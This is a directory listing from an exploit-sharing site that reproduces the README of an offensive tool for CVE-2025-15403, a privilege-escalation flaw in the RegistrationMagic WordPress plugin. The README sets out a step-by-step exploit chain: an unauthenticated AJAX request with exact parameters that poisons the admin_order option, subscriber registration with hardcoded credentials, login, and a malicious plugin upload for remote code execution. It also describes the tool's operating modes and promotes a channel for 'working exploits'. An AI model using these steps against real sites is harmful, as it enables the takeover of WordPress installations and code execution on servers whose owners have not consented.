Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-15403 β€” RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-15403
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingPayload Development
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order

View Repository
1116 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order

 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


πŸ“‘ The intel drops here first. Follow @KNxploited on Telegram β€” precision CVE disclosures, working exploits, and deep-dive vulnerability research. The channel for those who don't wait for the news β€” they make it.


🧠 Overview

CVE-2025-15403 is a CVSS 9.8 Critical Privilege Escalation vulnerability in the RegistrationMagic plugin for WordPress.

The flaw exists in the plugin's add_menu function, exposed unauthenticated via the rm_user_exists AJAX action. By injecting an empty slug into the order parameter alongside the enable_admin_order=yes flag, an attacker manipulates the plugin's internal menu generation logic. When the admin menu is subsequently built, the plugin silently calls add_cap('manage_options') on the target role β€” elevating any subscriber-tier account to full administrative capability.

FieldDetails
CVE IDCVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Affected VersionsAll versions up to and including 6.0.7.1
Vulnerability TypeUnauthenticated Privilege Escalation
Attack RequirementAJAX stage: None. Exploitation: Subscriber account
Attack VectorNetwork
CVSS 3.1 Score9.8 CRITICAL
CVSS VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ImpactFull WordPress Administrator Takeover
ResearcherNxploited

πŸ’€ Vulnerability Deep Dive

The root cause is the add_menu function being reachable without authentication through rm_user_exists, combined with zero validation of the admin_order slug:

// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← User-controlled, NOT sanitized
    $role_key = /* derived from POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Stores attacker-controlled order into plugin options
        update_option('rm_admin_order', $order);  // e.g. ",menu1" β†’ empty first slug
    }
}

// Later, when admin menu is being built...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Poisoned by attacker
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Empty slug triggers unconditional capability grant
            $role->add_cap('manage_options');  // ← FULL ADMIN CAPABILITY ADDED
        }
    }
}

Why this is critical:

  • wp_ajax_nopriv_* = zero authentication needed to poison the option
  • Empty slug in order=,menu1 passes empty() check, triggering add_cap('manage_options')
  • manage_options is the highest WordPress capability β€” equivalent to Administrator
  • Any existing subscriber account immediately gains full admin rights on next admin menu load
  • The AJAX stage requires no prior authentication β€” making the full chain near-zero barrier

βš”οΈ Exploit Chain

╔══════════════════════════════════════════════════════════════════════════╗
β•‘  STAGE 1 β€” Unauthenticated Option Poisoning                             β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← empty first element = empty slug
  _Subscriber       = 1                  ← target role key
  restore           = false
  enable_admin_order= yes

Response: HTTP 200 (any non-blocked response = option poisoned)

  ↓ Plugin stores order=",menu1" into wp_options
  ↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role

╔══════════════════════════════════════════════════════════════════════════╗
β•‘  STAGE 2 β€” Account Acquisition (Subscriber)                             β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

Option A β€” Register via the site's registration form (Mode 0):
  GET  /wp-login.php?action=register  β†’ smart form detection
  POST β†’ create subscriber account
  Credentials: NXploited / xplpass123

Option B β€” Use an existing subscriber account.

╔══════════════════════════════════════════════════════════════════════════╗
β•‘  STAGE 3 β€” Login + Capability Harvest                                   β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Subscriber account now carries manage_options β†’ full admin panel accessible

╔══════════════════════════════════════════════════════════════════════════╗
β•‘  STAGE 4 β€” Deep Verification & RCE via Plugin Upload                    β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

GET  /wp-admin/                          β†’ Admin dashboard accessible βœ”οΈ
GET  /wp-admin/plugin-install.php        β†’ Plugin install page accessible βœ”οΈ
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           β†’ Plugin uploaded & executed βœ”οΈ
GET  /wp-content/plugins/Nxploited/hello.php
     Response contains "Nxploited"       β†’ CONFIRMED RCE βœ”οΈ

🎯 Operating Modes

This exploit suite provides three distinct modes to cover the full attack lifecycle:

ModeNameDescription
0Register OnlySmart WordPress form detection + subscriber account registration
1Exploit OnlyFires the unauthenticated AJAX primitive to poison admin_order
2Exploit + Login + VerifyFull chain: primitive β†’ login β†’ admin dashboard β†’ plugin install β†’ RCE

βš™οΈ Requirements

pip install requests colorama urllib3
Download Tool